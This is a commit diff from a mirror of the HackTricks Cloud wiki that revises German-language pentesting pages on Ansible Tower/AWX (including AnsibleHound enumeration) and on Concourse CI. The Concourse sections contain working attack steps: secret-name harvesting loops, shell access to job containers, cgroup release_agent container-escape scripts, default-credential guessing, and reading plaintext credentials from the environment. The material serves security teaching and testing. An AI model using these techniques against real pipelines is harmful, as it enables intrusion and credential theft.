mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-01 18:44:56 -07:00
Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible-Benutzeroberfläche, Dashboard und REST-API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST-API von Tower und die Befehlszeilenschnittstelle machen es einfach, sie in aktuelle Tools und Workflows zu integrieren.
|
||||
**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible Benutzeroberfläche, Dashboard und REST API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST API und die Befehlszeilenschnittstelle von Tower machen es einfach, sie in aktuelle Tools und Workflows zu integrieren.
|
||||
|
||||
**Automation Controller ist eine neuere** Version von Ansible Tower mit mehr Funktionen.
|
||||
|
||||
@@ -15,7 +15,7 @@ Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65
|
||||
### Tech-Stack
|
||||
|
||||
- **Weboberfläche**: Dies ist die grafische Oberfläche, über die Benutzer Inventare, Anmeldeinformationen, Vorlagen und Jobs verwalten können. Sie ist so gestaltet, dass sie intuitiv ist und Visualisierungen bietet, um den Zustand und die Ergebnisse Ihrer Automatisierungsjobs zu verstehen.
|
||||
- **REST-API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST-API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche ausführen würden.
|
||||
- **REST API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche durchführen würden.
|
||||
- **Datenbank**: AWX/Tower verwendet eine Datenbank (typischerweise PostgreSQL), um seine Konfiguration, Jobresultate und andere notwendige Betriebsdaten zu speichern.
|
||||
- **RabbitMQ**: Dies ist das Messaging-System, das von AWX/Tower verwendet wird, um zwischen den verschiedenen Komponenten zu kommunizieren, insbesondere zwischen dem Webdienst und den Aufgabenläufern.
|
||||
- **Redis**: Redis dient als Cache und Backend für die Aufgabenwarteschlange.
|
||||
@@ -25,29 +25,29 @@ Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65
|
||||
- **Inventare**: Ein Inventar ist eine **Sammlung von Hosts (oder Knoten)**, gegen die **Jobs** (Ansible-Playbooks) **ausgeführt** werden können. AWX/Tower ermöglicht es Ihnen, Ihre Inventare zu definieren und zu gruppieren und unterstützt auch dynamische Inventare, die **Hostlisten aus anderen Systemen** wie AWS, Azure usw. abrufen können.
|
||||
- **Projekte**: Ein Projekt ist im Wesentlichen eine **Sammlung von Ansible-Playbooks**, die aus einem **Versionskontrollsystem** (wie Git) stammen, um die neuesten Playbooks bei Bedarf abzurufen.
|
||||
- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, und geben das **Inventar**, **Anmeldeinformationen** und andere **Parameter** für den Job an.
|
||||
- **Anmeldeinformationen**: AWX/Tower bietet eine sichere Möglichkeit, **Geheimnisse wie SSH-Schlüssel, Passwörter und API-Tokens zu verwalten und zu speichern**. Diese Anmeldeinformationen können mit Jobvorlagen verknüpft werden, sodass Playbooks beim Ausführen den erforderlichen Zugriff haben.
|
||||
- **Anmeldeinformationen**: AWX/Tower bietet eine sichere Möglichkeit, **Geheimnisse wie SSH-Schlüssel, Passwörter und API-Tokens zu verwalten und zu speichern**. Diese Anmeldeinformationen können mit Jobvorlagen verknüpft werden, sodass Playbooks beim Ausführen den notwendigen Zugriff haben.
|
||||
- **Aufgaben-Engine**: Hier geschieht die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt.
|
||||
- **Planer und Rückrufe**: Dies sind erweiterte Funktionen in AWX/Tower, die es ermöglichen, **Jobs zu bestimmten Zeiten zu planen** oder durch externe Ereignisse ausgelöst zu werden.
|
||||
- **Planer und Rückrufe**: Dies sind erweiterte Funktionen in AWX/Tower, die es ermöglichen, **Jobs zu planen**, die zu bestimmten Zeiten oder durch externe Ereignisse ausgelöst werden.
|
||||
- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Arten von Benachrichtigungen wie E-Mails, Slack-Nachrichten, Webhooks usw.
|
||||
- **Ansible-Playbooks**: Ansible-Playbooks sind Konfigurations-, Bereitstellungs- und Orchestrierungstools. Sie beschreiben den gewünschten Zustand von Systemen auf automatisierte, wiederholbare Weise. In YAML geschrieben, verwenden Playbooks Ansible's deklarative Automatisierungssprache, um Konfigurationen, Aufgaben und Schritte zu beschreiben, die ausgeführt werden müssen.
|
||||
|
||||
### Jobausführungsfluss
|
||||
|
||||
1. **Benutzerinteraktion**: Ein Benutzer kann mit AWX/Tower entweder über die **Weboberfläche** oder die **REST-API** interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen.
|
||||
1. **Benutzerinteraktion**: Ein Benutzer kann mit AWX/Tower entweder über die **Weboberfläche** oder die **REST API** interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen.
|
||||
2. **Jobinitiierung**:
|
||||
- Der Benutzer initiiert über die Weboberfläche oder API einen Job basierend auf einer **Jobvorlage**.
|
||||
- Die Jobvorlage enthält Verweise auf das **Inventar**, **Projekt** (das das Playbook enthält) und **Anmeldeinformationen**.
|
||||
- Bei der Jobinitiierung wird eine Anfrage an das AWX/Tower-Backend gesendet, um den Job zur Ausführung in die Warteschlange zu stellen.
|
||||
3. **Jobwarteschlange**:
|
||||
- **RabbitMQ** verwaltet die Nachrichten zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet.
|
||||
- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange befindlichen Jobs, die auf die Ausführung warten.
|
||||
- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange stehenden Jobs, die auf die Ausführung warten.
|
||||
4. **Jobausführung**:
|
||||
- Die **Aufgaben-Engine** nimmt den in der Warteschlange befindlichen Job auf. Sie ruft die erforderlichen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab.
|
||||
- Die **Aufgaben-Engine** nimmt den in der Warteschlange stehenden Job auf. Sie ruft die notwendigen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab.
|
||||
- Mit dem abgerufenen Ansible-Playbook aus dem zugehörigen **Projekt** führt die Aufgaben-Engine das Playbook gegen die angegebenen **Inventar**-Knoten mit den bereitgestellten **Anmeldeinformationen** aus.
|
||||
- Während das Playbook ausgeführt wird, werden die Ausführungsprotokolle (Logs, Fakten usw.) erfasst und in der **Datenbank** gespeichert.
|
||||
5. **Jobergebnisse**:
|
||||
- Sobald das Playbook die Ausführung abgeschlossen hat, werden die Ergebnisse (Erfolg, Misserfolg, Protokolle) in der **Datenbank** gespeichert.
|
||||
- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder über die REST-API abfragen.
|
||||
- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder sie über die REST API abfragen.
|
||||
- Basierend auf den Ergebnissen der Jobs können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein.
|
||||
6. **Integration mit externen Systemen**:
|
||||
- **Inventare** können dynamisch aus externen Systemen bezogen werden, sodass AWX/Tower Hosts aus Quellen wie AWS, Azure, VMware und mehr abrufen kann.
|
||||
@@ -134,4 +134,71 @@ Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemaud
|
||||
|
||||
</details>
|
||||
|
||||
## Enumeration & Attack-Path Mapping mit AnsibleHound
|
||||
|
||||
`AnsibleHound` ist ein Open-Source BloodHound *OpenGraph* Sammler, der in Go geschrieben ist und ein **read-only** Ansible Tower/AWX/Automation Controller API-Token in ein vollständiges Berechtigungsdiagramm umwandelt, das bereit ist, innerhalb von BloodHound (oder BloodHound Enterprise) analysiert zu werden.
|
||||
|
||||
### Warum ist das nützlich?
|
||||
1. Die Tower/AWX REST API ist äußerst umfangreich und gibt **jedes Objekt und jede RBAC-Beziehung** preis, die Ihre Instanz kennt.
|
||||
2. Selbst mit dem niedrigsten Berechtigungs-Token (**Lesen**) ist es möglich, alle zugänglichen Ressourcen (Organisationen, Inventare, Hosts, Berechtigungen, Projekte, Jobvorlagen, Benutzer, Teams…) rekursiv aufzulisten.
|
||||
3. Wenn die Rohdaten in das BloodHound-Schema umgewandelt werden, erhalten Sie die gleichen *Angriffsweg*-Visualisierungsfähigkeiten, die in Active Directory-Bewertungen so beliebt sind – aber jetzt auf Ihre CI/CD-Umgebung gerichtet.
|
||||
|
||||
Sicherheitsteams (und Angreifer!) können daher:
|
||||
* Schnell verstehen, **wer Administrator von was werden kann**.
|
||||
* **Berechtigungen oder Hosts identifizieren, die von einem unprivilegierten Konto erreichbar sind**.
|
||||
* Mehrere „Lesen ➜ Verwenden ➜ Ausführen ➜ Admin“-Kanten verknüpfen, um die vollständige Kontrolle über die Tower-Instanz oder die zugrunde liegende Infrastruktur zu erlangen.
|
||||
|
||||
### Voraussetzungen
|
||||
* Ansible Tower / AWX / Automation Controller über HTTPS erreichbar.
|
||||
* Ein Benutzer-API-Token, das nur auf **Lesen** beschränkt ist (erstellt aus *Benutzerdetails → Tokens → Token erstellen → Umfang = Lesen*).
|
||||
* Go ≥ 1.20, um den Sammler zu kompilieren (oder verwenden Sie die vorgefertigten Binärdateien).
|
||||
|
||||
### Erstellen & Ausführen
|
||||
```bash
|
||||
# Compile the collector
|
||||
cd collector
|
||||
go build . -o build/ansiblehound
|
||||
|
||||
# Execute against the target instance
|
||||
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
|
||||
```
|
||||
Internally führt AnsibleHound *seitengestützte* `GET`-Anfragen gegen (mindestens) die folgenden Endpunkte durch und folgt automatisch den `related`-Links, die in jedem JSON-Objekt zurückgegeben werden:
|
||||
```
|
||||
/api/v2/organizations/
|
||||
/api/v2/inventories/
|
||||
/api/v2/hosts/
|
||||
/api/v2/job_templates/
|
||||
/api/v2/projects/
|
||||
/api/v2/credentials/
|
||||
/api/v2/users/
|
||||
/api/v2/teams/
|
||||
```
|
||||
Alle gesammelten Seiten werden in einer einzelnen JSON-Datei auf der Festplatte zusammengeführt (Standard: `ansiblehound-output.json`).
|
||||
|
||||
### BloodHound Transformation
|
||||
Die Rohdaten von Tower werden dann **in BloodHound OpenGraph umgewandelt** unter Verwendung von benutzerdefinierten Knoten, die mit `AT` (Ansible Tower) vorangestellt sind:
|
||||
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
|
||||
|
||||
Und Kanten, die Beziehungen / Berechtigungen modellieren:
|
||||
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
|
||||
|
||||
Das Ergebnis kann direkt in BloodHound importiert werden:
|
||||
```bash
|
||||
neo4j stop # if BloodHound CE is running locally
|
||||
bloodhound-import ansiblehound-output.json
|
||||
```
|
||||
Optional können Sie **benutzerdefinierte Symbole** hochladen, damit die neuen Knotentypen visuell unterscheidbar sind:
|
||||
```bash
|
||||
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
|
||||
```
|
||||
### Defensive & Offensive Considerations
|
||||
* Ein *Read*-Token wird normalerweise als harmlos angesehen, aber es leakt dennoch die **vollständige Topologie und alle Anmeldeinformationen-Metadaten**. Behandle es als sensibel!
|
||||
* Erzwinge **geringste Privilegien** und rotiere / widerrufe ungenutzte Tokens.
|
||||
* Überwache die API auf übermäßige Enumeration (mehrere aufeinanderfolgende `GET`-Anfragen, hohe Paginierungsaktivität).
|
||||
* Aus der Perspektive eines Angreifers ist dies eine perfekte *initial foothold → privilege escalation*-Technik innerhalb der CI/CD-Pipeline.
|
||||
|
||||
## References
|
||||
* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# Concourse-Architektur
|
||||
|
||||
## Concourse-Architektur
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Concourse-Architektur
|
||||
|
||||
[**Relevante Daten aus der Concourse-Dokumentation:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architektur
|
||||
@@ -12,9 +12,9 @@
|
||||
|
||||
#### ATC: Web-UI & Build-Planer
|
||||
|
||||
Der ATC ist das Herz von Concourse. Er betreibt die **Web-UI und API** und ist verantwortlich für die gesamte Pipeline-**Planung**. Er **verbindet sich mit PostgreSQL**, das er zur Speicherung von Pipeline-Daten (einschließlich Build-Protokollen) verwendet.
|
||||
Das ATC ist das Herz von Concourse. Es betreibt die **Web-UI und API** und ist verantwortlich für die gesamte Pipeline-**Planung**. Es **stellt eine Verbindung zu PostgreSQL** her, das zur Speicherung von Pipeline-Daten (einschließlich Build-Protokollen) verwendet wird.
|
||||
|
||||
Die Verantwortung des [Checkers](https://concourse-ci.org/checker.html) besteht darin, kontinuierlich nach neuen Versionen von Ressourcen zu suchen. Der [Scheduler](https://concourse-ci.org/scheduler.html) ist verantwortlich für die Planung von Builds für einen Job und der [Build-Tracker](https://concourse-ci.org/build-tracker.html) ist verantwortlich für die Ausführung aller geplanten Builds. Der [Garbage Collector](https://concourse-ci.org/garbage-collector.html) ist der Bereinigungsmechanismus zum Entfernen von nicht verwendeten oder veralteten Objekten, wie Containern und Volumes.
|
||||
Die Verantwortung des [Checkers](https://concourse-ci.org/checker.html) besteht darin, kontinuierlich nach neuen Versionen von Ressourcen zu suchen. Der [Scheduler](https://concourse-ci.org/scheduler.html) ist verantwortlich für die Planung von Builds für einen Job, und der [Build-Tracker](https://concourse-ci.org/build-tracker.html) ist verantwortlich für die Ausführung aller geplanten Builds. Der [Garbage Collector](https://concourse-ci.org/garbage-collector.html) ist der Bereinigungsmechanismus zum Entfernen von nicht verwendeten oder veralteten Objekten, wie Containern und Volumes.
|
||||
|
||||
#### TSA: Worker-Registrierung & Weiterleitung
|
||||
|
||||
@@ -26,10 +26,10 @@ Die **TSA implementiert CLI über die SSH-Verbindung** und unterstützt [**diese
|
||||
|
||||
#### Worker
|
||||
|
||||
Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus.
|
||||
Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich selbst** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus.
|
||||
|
||||
- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** läuft.
|
||||
- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** läuft.
|
||||
- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** ausgeführt wird.
|
||||
- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** ausgeführt wird.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# Concourse Enumeration & Attacks
|
||||
|
||||
## Concourse Enumeration & Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Concourse Enumeration & Attacks
|
||||
|
||||
### Benutzerrollen & Berechtigungen
|
||||
|
||||
Concourse kommt mit fünf Rollen:
|
||||
|
||||
- _Concourse_ **Admin**: Diese Rolle wird nur den Eigentümern des **Hauptteams** (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können **andere Teams konfigurieren** (z.B.: `fly set-team`, `fly destroy-team`...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden.
|
||||
- **owner**: Team-Eigentümer können **alles innerhalb des Teams ändern**.
|
||||
- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Team-Ressourcen**, können jedoch die Teameinstellungen nicht ändern.
|
||||
- **member**: Team-Mitglieder können innerhalb der **Teamressourcen lesen und schreiben**, können jedoch die Teameinstellungen nicht ändern.
|
||||
- **pipeline-operator**: Pipeline-Betreiber können **Pipeline-Operationen** wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren.
|
||||
- **viewer**: Team-Zuschauer haben **"Nur-Lese"-Zugriff auf ein Team** und dessen Pipelines.
|
||||
- **viewer**: Team-Viewer haben **"nur-Lese"-Zugriff auf ein Team** und dessen Pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer** durch die Konfiguration von RBAC (insbesondere durch die Konfiguration ihrer Aktionen) geändert werden. Lesen Sie mehr darüber in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
@@ -34,12 +34,12 @@ Statische Vars können in **Aufgaben-Schritten** angegeben werden:
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Oder verwenden Sie die folgenden `fly` **Argumente**:
|
||||
Or using the following `fly` **Argumente**:
|
||||
|
||||
- `-v` oder `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`.
|
||||
- `-y` oder `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`.
|
||||
- `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), um mehr über Instanzvariablen zu erfahren.
|
||||
- `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das die Zuordnung von Variablennamen zu Werten enthält, und setzt sie alle.
|
||||
- `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) um mehr über Instanzvariablen zu erfahren.
|
||||
- `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das Variablennamen mit Werten verknüpft, und setzt sie alle.
|
||||
|
||||
#### Credential Management
|
||||
|
||||
@@ -57,7 +57,7 @@ Darüber hinaus unterstützt Concourse verschiedene Credential Manager:
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass Sie, wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
|
||||
> Beachten Sie, dass wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Sie Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
|
||||
|
||||
### Concourse Enumeration
|
||||
|
||||
@@ -75,26 +75,26 @@ Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmelde
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie Maschinen durchsuchen, könnten Sie dort die Anmeldeinformationen finden.
|
||||
> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie eine Maschine durchsuchen, könnten Sie dort die Anmeldeinformationen finden.
|
||||
|
||||
#### Teams & Benutzer
|
||||
|
||||
- Eine Liste der Teams abrufen
|
||||
- Eine Liste der Teams abrufen:
|
||||
- `fly -t <target> teams`
|
||||
- Rollen innerhalb des Teams abrufen
|
||||
- Rollen innerhalb des Teams abrufen:
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Eine Liste der Benutzer abrufen
|
||||
- Eine Liste der Benutzer abrufen:
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
|
||||
- **Liste** der Pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Pipeline-YAML abrufen** (**sensible Informationen** könnten in der Definition gefunden werden):
|
||||
- **Pipeline** YAML abrufen (**sensible Informationen** könnten in der Definition gefunden werden):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Alle **konfigurierten Variablen** der Pipeline abrufen
|
||||
- Alle **konfigurierten Variablen** der Pipeline abrufen:
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container hijacken können, könnten Sie sie exfiltrieren):
|
||||
- Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container übernehmen können, könnten Sie sie exfiltrieren):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
@@ -109,7 +109,7 @@ rm /tmp/secrets.txt
|
||||
```
|
||||
#### Container & Worker
|
||||
|
||||
- Liste **Worker**:
|
||||
- Liste **Arbeiter**:
|
||||
- `fly -t <target> workers`
|
||||
- Liste **Container**:
|
||||
- `fly -t <target> containers`
|
||||
@@ -118,18 +118,18 @@ rm /tmp/secrets.txt
|
||||
|
||||
### Concourse Angriffe
|
||||
|
||||
#### Credentials Brute-Force
|
||||
#### Brute-Force von Anmeldeinformationen
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Aufzählung von Secrets und Parametern
|
||||
#### Aufzählung von Geheimnissen und Parametern
|
||||
|
||||
Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Secrets wird später nützlich sein, um zu versuchen, sie zu stehlen**.
|
||||
Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Geheimnisse wird später nützlich sein, um zu versuchen, sie zu stehlen**.
|
||||
|
||||
#### Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers
|
||||
|
||||
Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `<pipeline>/<job>` **Containers** mit folgendem Befehl erhalten:
|
||||
Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `<pipeline>/<job>` **Containers** mit folgendem Befehl erhalten:
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
@@ -138,7 +138,7 @@ Mit diesen Berechtigungen könnten Sie in der Lage sein:
|
||||
|
||||
- **Die Geheimnisse** im **Container** zu stehlen
|
||||
- Versuchen, zum Knoten zu **entkommen**
|
||||
- **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
|
||||
- Den **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
|
||||
|
||||
#### Pipeline-Erstellung/-Änderung
|
||||
|
||||
@@ -197,11 +197,11 @@ SUPER_SECRET: ((super.secret))
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Ausbrechen zum Knoten von privilegierter Aufgabe
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies wird dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container geben. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass der Ausbruch "komplexer" sein könnte.
|
||||
In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies gibt dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container. Zum Beispiel werden Sie das Node-Dateisystemgerät in /dev nicht sehen, sodass die Flucht "komplexer" sein könnte.
|
||||
|
||||
In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen auszubrechen:
|
||||
In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen zu entkommen:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
cat /output
|
||||
```
|
||||
> [!WARNING]
|
||||
> Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des cmd im Knoten geändert wird.
|
||||
> Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des Befehls im Knoten geändert wird.
|
||||
|
||||
#### Escaping zum Knoten von einem Worker-Container
|
||||
|
||||
Eine reguläre release_agent-Escape mit einer geringfügigen Modifikation ist dafür ausreichend:
|
||||
Eine reguläre release_agent-Escape mit einer kleinen Modifikation reicht dafür aus:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -293,7 +293,7 @@ cat /output
|
||||
```
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, **läuft er nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
|
||||
Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er **nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
|
||||
|
||||
Allerdings speichert er **lokale Anmeldeinformationen im Klartext**:
|
||||
```bash
|
||||
@@ -304,9 +304,9 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Sie könnten diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
|
||||
Sie können diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
|
||||
|
||||
In der Umgebung finden Sie auch Informationen zum **Zugriff auf die postgresql**-Instanz, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
|
||||
In der Umgebung finden Sie auch Informationen, um auf die **PostgreSQL**-Instanz zuzugreifen, die Concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -332,7 +332,7 @@ select * from users;
|
||||
> [!WARNING]
|
||||
> Dies sind nur einige interessante Hinweise zum Dienst, aber da er nur auf localhost hört, werden diese Hinweise keinen Einfluss haben, den wir nicht bereits zuvor ausgenutzt haben.
|
||||
|
||||
